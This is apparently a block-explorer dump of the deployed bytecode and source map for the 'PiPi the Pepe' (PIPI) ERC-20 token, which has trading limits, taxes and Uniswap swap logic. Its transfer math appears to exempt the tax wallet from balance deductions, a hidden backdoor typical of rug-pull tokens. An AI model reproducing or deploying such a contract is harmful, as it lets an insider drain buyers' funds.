0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed146102fe578063c876d0b914610313578063dd62ed3e1461032c578063e1c7392a14610370578063fcfff16f14610384575f80fd5b80637d1db4a5146102635780638da5cb5b146102785780638f9a55c01461029e57806395d89b41146102b3578063a9059cbb146102df575f80fd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea57806370a0823114610205578063715018a614610239578063751039fc1461024f575f80fd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600d81526c5069506920746865205065706560981b60208201525b60405161015c919061158f565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046115db565b610398565b604051901515815260200161015c565b34801561019f575f80fd5b506101a960115481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a96103ae565b3480156101d6575f80fd5b506101846101e5366004611605565b6103ce565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b506101a961021f366004611643565b6001600160a01b03165f9081526001602052604090205490565b348015610244575f80fd5b5061024d610435565b005b34801561025a575f80fd5b5061024d6104af565b34801561026e575f80fd5b506101a9600e5481565b348015610283575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102a9575f80fd5b506101a9600f5481565b3480156102be575f80fd5b506040805180820190915260048152635049504960e01b602082015261014f565b3480156102ea575f80fd5b506101846102f93660046115db565b610519565b348015610309575f80fd5b506101a960105481565b34801561031e575f80fd5b506005546101849060ff1681565b348015610337575f80fd5b506101a961034636600461165e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561037b575f80fd5b5061024d610525565b34801561038f575f80fd5b5061024d61087f565b5f6103a4338484610915565b5060015b92915050565b5f6103bb6009600a611784565b6103c990633b9aca00611792565b905090565b5f6103da848484610a39565b61042b843361042685604051806060016040528060288152602001611925602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611122565b610915565b5060019392505050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e906117a9565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d85760405162461bcd60e51b815260040161045e906117a9565b5f19600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f6103a4338484610a39565b5f546001600160a01b0316331461054e5760405162461bcd60e51b815260040161045e906117a9565b601354600160a01b900460ff16156105a25760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161045e565b305f81815260016020526040902054601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590916105e7915f19610915565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610637573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065b91906117de565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106de91906117de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610728573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074c91906117de565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730845f803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107dd573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061080291906117f9565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610857573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087b9190611824565b5050565b5f546001600160a01b031633146108a85760405162461bcd60e51b815260040161045e906117a9565b601354600160a01b900460ff16156108fc5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161045e565b6013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b0382166109d85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610aff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610b605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b601354600160a01b900460ff16610bf3576001600160a01b0383165f9081526003602052604090205460ff1680610bae57506001600160a01b0382165f9081526003602052604090205460ff165b610bf35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161045e565b601354600160b01b900460ff161580610c155750601354600160a81b900460ff165b15610cbd576001600160a01b0383165f90815260016020526040902054610c3c908261115a565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6a90826111a2565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a2c9085815260200190565b5f546001600160a01b03848116911614801590610ce757505f546001600160a01b03838116911614155b15610fe05760055460ff1615610dcf576012546001600160a01b03838116911614801590610d2357506013546001600160a01b03838116911614155b15610dcf57325f908152600460205260409020544311610dbd5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161045e565b325f9081526004602052604090204390555b6013546001600160a01b038481169116148015610dfa57506012546001600160a01b03838116911614155b8015610e1e57506001600160a01b0382165f9081526003602052604090205460ff16155b15610f0457600e54811115610e755760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045e565b600f5481610e97846001600160a01b03165f9081526001602052604090205490565b610ea19190611843565b1115610eef5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b600d8054905f610efe83611856565b91905055505b305f90815260016020526040902054601354600160a81b900460ff16158015610f3a57506013546001600160a01b038481169116145b8015610f4f5750601354600160b01b900460ff165b8015610f5e5750600c54600d54115b8015610f8257506001600160a01b0384165f9081526003602052604090205460ff16155b8015610fa657506001600160a01b0383165f9081526003602052604090205460ff16155b15610fde57601054811115610fd257610fd2610fcd83610fc884601154611200565b611200565b611214565b47610fdc47611384565b505b505b5f80610fed8585856113bf565b9092509050811561105c57305f9081526001602052604081208054849290611016908490611843565b909155505060405182815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0385165f9081526001602052604090205461107e908261115a565b6001600160a01b0386165f908152600160205260409020556110c16110a3848461115a565b6001600160a01b0386165f90815260016020526040902054906111a2565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61110a868661115a565b60405190815260200160405180910390a35050505050565b5f81848411156111455760405162461bcd60e51b815260040161045e919061158f565b505f611151848661186e565b95945050505050565b5f61119b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611122565b9392505050565b5f806111ae8385611843565b90508381101561119b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b5f81831161120e578261119b565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061125a5761125a611881565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d591906117de565b816001815181106112e8576112e8611881565b6001600160a01b03928316602091820292909201015260125461130e9130911684610915565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113469085905f90869030904290600401611895565b5f604051808303815f87803b15801561135d575f80fd5b505af115801561136f573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561087b573d5f803e3d5ffd5b5f805f806113e487600560019054906101000a90046001600160a01b03168785611476565b9050611412606461140c600a54600d541161140157600654611405565b6008545b88906114a9565b90611527565b6013549092506001600160a01b03878116911614801561143b57506001600160a01b0387163014155b1561146857611465606461140c600b54600d541161145b57600754611405565b60095488906114a9565b91505b90925090505b935093915050565b5f836001600160a01b0316856001600160a01b03160361149f5761149a83836114a9565b611151565b61115183836111a2565b5f825f036114b857505f6103a8565b5f6114c38385611792565b9050826114d08583611905565b1461119b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b5f61119b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836115835760405162461bcd60e51b815260040161045e919061158f565b505f6111518486611905565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146115d8575f80fd5b50565b5f80604083850312156115ec575f80fd5b82356115f7816115c4565b946020939093013593505050565b5f805f60608486031215611617575f80fd5b8335611622816115c4565b92506020840135611632816115c4565b929592945050506040919091013590565b5f60208284031215611653575f80fd5b813561119b816115c4565b5f806040838503121561166f575f80fd5b823561167a816115c4565b9150602083013561168a816115c4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561146e578085048111156116c8576116c8611695565b60018416156116d657908102905b60019390931c9280026116ad565b5f826116f2575060016103a8565b816116fe57505f6103a8565b8160018114611714576002811461171e5761173a565b60019150506103a8565b60ff84111561172f5761172f611695565b50506001821b6103a8565b5060208310610133831016604e8410600b841016171561175d575081810a6103a8565b6117695f1984846116a9565b805f190482111561177c5761177c611695565b029392505050565b5f61119b60ff8416836116e4565b80820281158282048414176103a8576103a8611695565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ee575f80fd5b815161119b816115c4565b5f805f6060848603121561180b575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611834575f80fd5b8151801515811461119b575f80fd5b808201808211156103a8576103a8611695565b5f6001820161186757611867611695565b5060010190565b818103818111156103a8576103a8611695565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118e55783516001600160a01b03168352602093840193909201916001016118be565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261191f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3df9d89882b9920a6861fd15c18049818af72271fc3f18a7d495b3ddf072d7264736f6c634300081a0033
Deployed Bytecode Sourcemap
3966:9828:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5900:83;;;;;;;;;;-1:-1:-1;5970:5:0;;;;;;;;;;;;-1:-1:-1;;;5970:5:0;;;;5900:83;;;;;;;:::i;:::-;;;;;;;;6783:186;;;;;;;;;;-1:-1:-1;6783:186:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6783:186:0;945:187:1;5145:55:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;5145:55:0;1137:177:1;6177:95:0;;;;;;;;;;;;;:::i;6977:446::-;;;;;;;;;;-1:-1:-1;6977:446:0;;;;;:::i;:::-;;:::i;6086:83::-;;;;;;;;;;-1:-1:-1;6086:83:0;;4761:1;1974:36:1;;1962:2;1947:18;6086:83:0;1832:184:1;6280:119:0;;;;;;;;;;-1:-1:-1;6280:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6373:18:0;6346:7;6373:18;;;:9;:18;;;;;;;6280:119;2997:148;;;;;;;;;;;;;:::i;:::-;;12489:174;;;;;;;;;;;;;:::i;4954:56::-;;;;;;;;;;;;;;;;2783:79;;;;;;;;;;-1:-1:-1;2821:7:0;2848:6;2783:79;;-1:-1:-1;;;;;2848:6:0;;;2419:51:1;;2407:2;2392:18;2783:79:0;2273:203:1;5017:58:0;;;;;;;;;;;;;;;;5991:87;;;;;;;;;;-1:-1:-1;6063:7:0;;;;;;;;;;;;-1:-1:-1;;;6063:7:0;;;;5991:87;;6407:192;;;;;;;;;;-1:-1:-1;6407:192:0;;;;;:::i;:::-;;:::i;5082:56::-;;;;;;;;;;;;;;;;4303:40;;;;;;;;;;-1:-1:-1;4303:40:0;;;;;;;;6607:168;;;;;;;;;;-1:-1:-1;6607:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6740:18:0;;;6713:7;6740:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6607:168;12769:815;;;;;;;;;;;;;:::i;13592:162::-;;;;;;;;;;;;;:::i;6783:186::-;6883:4;6900:39;410:10;6923:7;6932:6;6900:8;:39::i;:::-;-1:-1:-1;6957:4:0;6783:186;;;;;:::o;6177:95::-;6230:7;4817:15;4761:1;4817:2;:15;:::i;:::-;4804:28;;:10;:28;:::i;:::-;6250:14;;6177:95;:::o;6977:446::-;7109:4;7126:36;7136:6;7144:9;7155:6;7126:9;:36::i;:::-;7173:220;7196:6;410:10;7244:138;7300:6;7244:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7244:19:0;;;;;;:11;:19;;;;;;;;410:10;7244:33;;;;;;;;;;:37;:138::i;:::-;7173:8;:220::i;:::-;-1:-1:-1;7411:4:0;6977:446;;;;;:::o;2997:148::-;2910:6;;-1:-1:-1;;;;;2910:6:0;410:10;2910:22;2902:67;;;;-1:-1:-1;;;2902:67:0;;;;;;;:::i;:::-;;;;;;;;;3104:1:::1;3088:6:::0;;3067:40:::1;::::0;-1:-1:-1;;;;;3088:6:0;;::::1;::::0;3067:40:::1;::::0;3104:1;;3067:40:::1;3135:1;3118:19:::0;;-1:-1:-1;;;;;;3118:19:0::1;::::0;;2997:148::o;12489:174::-;2910:6;;-1:-1:-1;;;;;2910:6:0;410:10;2910:22;2902:67;;;;-1:-1:-1;;;2902:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12543:12:0::1;:26:::0;;;12580:14:::1;:28:::0;;;12624:31:::1;::::0;1283:25:1;;;12624:31:0::1;::::0;1271:2:1;1256:18;12624:31:0::1;;;;;;;12489:174::o:0;6407:192::-;6510:4;6527:42;410:10;6551:9;6562:6;6527:9;:42::i;12769:815::-;2910:6;;-1:-1:-1;;;;;2910:6:0;410:10;2910:22;2902:67;;;;-1:-1:-1;;;2902:67:0;;;;;;;:::i;:::-;12824:11:::1;::::0;-1:-1:-1;;;12824:11:0;::::1;;;12823:12;12815:48;;;::::0;-1:-1:-1;;;12815:48:0;;5174:2:1;12815:48:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;-1:-1:-1;;;5232:18:1;;;5225:53;5295:18;;12815:48:0::1;4972:347:1::0;12815:48:0::1;12914:4;12874:19;6373:18:::0;;;:9;:18;;;;;;12931:15:::1;:104:::0;;-1:-1:-1;;;;;;12931:104:0::1;12982:42;12931:104:::0;;::::1;::::0;;;6373:18;;13046:62:::1;::::0;-1:-1:-1;;13046:8:0::1;:62::i;:::-;13153:15;;;;;;;;;-1:-1:-1::0;;;;;13153:15:0::1;-1:-1:-1::0;;;;;13153:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13135:55:0::1;;13213:4;13233:15;;;;;;;;;-1:-1:-1::0;;;;;13233:15:0::1;-1:-1:-1::0;;;;;13233:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13135:131;::::0;-1:-1:-1;;;;;;13135:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;13135:131:0::1;::::0;::::1;5754:51:1::0;5841:32;;5821:18;;;5814:60;5727:18;;13135:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13119:13;:147:::0;;-1:-1:-1;;;;;;13119:147:0::1;-1:-1:-1::0;;;;;13119:147:0;;::::1;;::::0;;13279:15:::1;::::0;::::1;:31;13318:21;13363:4;13383:11:::0;-1:-1:-1;;410:10:0;13279:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13279:215:0;;;-1:-1:-1;;;;;6206:32:1;;;13279:215:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;13468:15:0::1;6454:19:1::0;;;6447:35;6160:19;;13279:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13512:13:0::1;::::0;13543:15:::1;::::0;13505:71:::1;::::0;-1:-1:-1;;;13505:71:0;;-1:-1:-1;;;;;13543:15:0;;::::1;13505:71;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;13512:13:0;::::1;::::0;-1:-1:-1;13505:29:0::1;::::0;7101:18:1;;13505:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12804:780;12769:815::o:0;13592:162::-;2910:6;;-1:-1:-1;;;;;2910:6:0;410:10;2910:22;2902:67;;;;-1:-1:-1;;;2902:67:0;;;;;;;:::i;:::-;13647:11:::1;::::0;-1:-1:-1;;;13647:11:0;::::1;;;13646:12;13638:48;;;::::0;-1:-1:-1;;;13638:48:0;;5174:2:1;13638:48:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;-1:-1:-1;;;5232:18:1;;;5225:53;5295:18;;13638:48:0::1;4972:347:1::0;13638:48:0::1;13699:11;:18:::0;;-1:-1:-1;;;;13728:18:0;-1:-1:-1;;;13728:18:0;;;13592:162::o;7431:335::-;-1:-1:-1;;;;;7524:19:0;;7516:68;;;;-1:-1:-1;;;7516:68:0;;7717:2:1;7516:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;7516:68:0;7515:400:1;7516:68:0;-1:-1:-1;;;;;7603:21:0;;7595:68;;;;-1:-1:-1;;;7595:68:0;;8122:2:1;7595:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;7595:68:0;7920:398:1;7595:68:0;-1:-1:-1;;;;;7674:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7726:32;;1283:25:1;;;7726:32:0;;1256:18:1;7726:32:0;;;;;;;;7431:335;;;:::o;7774:3043::-;-1:-1:-1;;;;;7862:18:0;;7854:68;;;;-1:-1:-1;;;7854:68:0;;8525:2:1;7854:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;7854:68:0;8323:401:1;7854:68:0;-1:-1:-1;;;;;7941:16:0;;7933:64;;;;-1:-1:-1;;;7933:64:0;;8931:2:1;7933:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;7933:64:0;8729:399:1;7933:64:0;8025:1;8016:6;:10;8008:64;;;;-1:-1:-1;;;8008:64:0;;9335:2:1;8008:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;8008:64:0;9133:405:1;8008:64:0;8090:11;;-1:-1:-1;;;8090:11:0;;;;8085:179;;-1:-1:-1;;;;;8144:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;8172:22:0;;;;;;:18;:22;;;;;;;;8144:50;8118:134;;;;-1:-1:-1;;;8118:134:0;;9745:2:1;8118:134:0;;;9727:21:1;9784:2;9764:18;;;9757:30;-1:-1:-1;;;9803:18:1;;;9796:52;9865:18;;8118:134:0;9543:346:1;8118:134:0;8281:11;;-1:-1:-1;;;8281:11:0;;;;8280:12;;:22;;-1:-1:-1;8296:6:0;;-1:-1:-1;;;8296:6:0;;;;8280:22;8276:223;;;-1:-1:-1;;;;;8337:15:0;;;;;;:9;:15;;;;;;:27;;8357:6;8337:19;:27::i;:::-;-1:-1:-1;;;;;8319:15:0;;;;;;;:9;:15;;;;;;:45;;;;8395:13;;;;;;;:25;;8413:6;8395:17;:25::i;:::-;-1:-1:-1;;;;;8379:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8440:26;;;;;;;;;;8459:6;1283:25:1;;1271:2;1256:18;;1137:177;8276:223:0;2821:7;2848:6;-1:-1:-1;;;;;8515:15:0;;;2848:6;;8515:15;;;;:32;;-1:-1:-1;2821:7:0;2848:6;-1:-1:-1;;;;;8534:13:0;;;2848:6;;8534:13;;8515:32;8511:1835;;;8568:20;;;;8564:522;;;8649:15;;-1:-1:-1;;;;;8635:30:0;;;8649:15;;8635:30;;;;:83;;-1:-1:-1;8704:13:0;;-1:-1:-1;;;;;8690:28:0;;;8704:13;;8690:28;;8635:83;8609:462;;;8824:9;8795:39;;;;:28;:39;;;;;;8837:12;-1:-1:-1;8761:213:0;;;;-1:-1:-1;;;8761:213:0;;10096:2:1;8761:213:0;;;10078:21:1;10135:2;10115:18;;;10108:30;10174:34;10154:18;;;10147:62;10245:34;10225:18;;;10218:62;-1:-1:-1;;;10296:19:1;;;10289:40;10346:19;;8761:213:0;9894:477:1;8761:213:0;9026:9;8997:39;;;;:28;:39;;;;;9039:12;8997:54;;8609:462;9132:13;;-1:-1:-1;;;;;9124:21:0;;;9132:13;;9124:21;:72;;;;-1:-1:-1;9180:15:0;;-1:-1:-1;;;;;9166:30:0;;;9180:15;;9166:30;;9124:72;:116;;;;-1:-1:-1;;;;;;9218:22:0;;;;;;:18;:22;;;;;;;;9217:23;9124:116;9102:438;;;9293:12;;9283:6;:22;;9275:60;;;;-1:-1:-1;;;9275:60:0;;10578:2:1;9275:60:0;;;10560:21:1;10617:2;10597:18;;;10590:30;10656:27;10636:18;;;10629:55;10701:18;;9275:60:0;10376:349:1;9275:60:0;9410:14;;9400:6;9384:13;9394:2;-1:-1:-1;;;;;6373:18:0;6346:7;6373:18;;;:9;:18;;;;;;;6280:119;9384:13;:22;;;;:::i;:::-;:40;;9354:140;;;;-1:-1:-1;;;9354:140:0;;11062:2:1;9354:140:0;;;11044:21:1;11101:2;11081:18;;;11074:30;11140:28;11120:18;;;11113:56;11186:18;;9354:140:0;10860:350:1;9354:140:0;9513:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9102:438;9605:4;9556:28;6373:18;;;:9;:18;;;;;;9649:6;;-1:-1:-1;;;9649:6:0;;;;9648:7;:47;;;;-1:-1:-1;9682:13:0;;-1:-1:-1;;;;;9676:19:0;;;9682:13;;9676:19;9648:47;:79;;;;-1:-1:-1;9716:11:0;;-1:-1:-1;;;9716:11:0;;;;9648:79;:130;;;;;9760:18;;9748:9;;:30;9648:130;:176;;;;-1:-1:-1;;;;;;9800:24:0;;;;;;:18;:24;;;;;;;;9799:25;9648:176;:220;;;;-1:-1:-1;;;;;;9846:22:0;;;;;;:18;:22;;;;;;;;9845:23;9648:220;9626:709;;;9929:17;;9906:20;:40;9903:205;;;9971:117;10014:51;10018:6;10026:38;10030:20;10052:11;;10026:3;:38::i;:::-;10014:3;:51::i;:::-;9971:16;:117::i;:::-;10173:21;10265:35;10278:21;10265:12;:35::i;:::-;9884:451;9626:709;8549:1797;8511:1835;10373:17;10405:19;10438:29;10450:4;10456:2;10460:6;10438:11;:29::i;:::-;10358:109;;-1:-1:-1;10358:109:0;-1:-1:-1;10484:13:0;;10480:143;;10532:4;10514:24;;;;:9;:24;;;;;:37;;10542:9;;10514:24;:37;;10542:9;;10514:37;:::i;:::-;;;;-1:-1:-1;;10571:40:0;;1283:25:1;;;10594:4:0;;-1:-1:-1;;;;;10571:40:0;;;;;1271:2:1;1256:18;10571:40:0;;;;;;;10480:143;-1:-1:-1;;;;;10653:15:0;;;;;;:9;:15;;;;;;:32;;10673:11;10653:19;:32::i;:::-;-1:-1:-1;;;;;10635:15:0;;;;;;:9;:15;;;;;:50;10712:40;10730:21;:6;10741:9;10730:10;:21::i;:::-;-1:-1:-1;;;;;10712:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10696:13:0;;;;;;;:9;:13;;;;;:56;;;;10768:41;;;10787:21;:6;10798:9;10787:10;:21::i;:::-;10768:41;;1283:25:1;;;1271:2;1256:18;10768:41:0;;;;;;;7843:2974;;7774:3043;;;:::o;1585:224::-;1705:7;1741:12;1733:6;;;;1725:29;;;;-1:-1:-1;;;1725:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1765:9:0;1777:5;1781:1;1777;:5;:::i;:::-;1765:17;1585:224;-1:-1:-1;;;;;1585:224:0:o;1441:136::-;1499:7;1526:43;1530:1;1533;1526:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1519:50;1441:136;-1:-1:-1;;;1441:136:0:o;1254:179::-;1312:7;;1344:5;1348:1;1344;:5;:::i;:::-;1332:17;;1373:1;1368;:6;;1360:46;;;;-1:-1:-1;;;1360:46:0;;11690:2:1;1360:46:0;;;11672:21:1;11729:2;11709:18;;;11702:30;11768:29;11748:18;;;11741:57;11815:18;;1360:46:0;11488:351:1;11883:107:0;11940:7;11972:1;11968;:5;11967:15;;11981:1;11967:15;;;-1:-1:-1;11977:1:0;11883:107;-1:-1:-1;11883:107:0:o;11998:483::-;5484:6;:13;;-1:-1:-1;;;;5484:13:0;-1:-1:-1;;;5484:13:0;;;12100:16:::1;::::0;;12114:1:::1;12100:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12100:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12100:16:0::1;12076:40;;12145:4;12127;12132:1;12127:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12127:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12171:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12171:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12127:7;;12171:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12161:4;12166:1;12161:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12161:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12236:15:::1;::::0;12204:62:::1;::::0;12221:4:::1;::::0;12236:15:::1;12254:11:::0;12204:8:::1;:62::i;:::-;12277:15;::::0;:196:::1;::::0;-1:-1:-1;;;12277:196:0;;-1:-1:-1;;;;;12277:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12358:11;;12277:15:::1;::::0;12400:4;;12427::::1;::::0;12447:15:::1;::::0;12277:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5520:6:0;:14;;-1:-1:-1;;;;5520:14:0;;;-1:-1:-1;;;;11998:483:0:o;12671:90::-;12728:8;;:25;;:8;;;;-1:-1:-1;;;;;12728:8:0;;:25;;;;;;;;;;;;:8;:25;;;;;;;;;;;;;;;;;;;10825:823;10945:7;10954;10974:17;11008:19;11030:48;11044:4;11050:8;;;;;;;;;-1:-1:-1;;;;;11050:8:0;11060:6;11068:9;11030:13;:48::i;:::-;11008:70;;11102:184;11282:3;11102:161;11158:15;;11146:9;;:27;11145:103;;11234:14;;11145:103;;;11198:12;;11145:103;11102:6;;:24;:161::i;:::-;:179;;:184::i;:::-;11307:13;;11090:196;;-1:-1:-1;;;;;;11301:19:0;;;11307:13;;11301:19;:44;;;;-1:-1:-1;;;;;;11324:21:0;;11340:4;11324:21;;11301:44;11297:300;;;11374:211;11581:3;11374:184;11438:16;;11426:9;;:28;11425:114;;11524:15;;11425:114;;;11483:13;;11374:6;;:28;:184::i;:211::-;11362:223;;11297:300;11617:9;;-1:-1:-1;11628:11:0;-1:-1:-1;10825:823:0;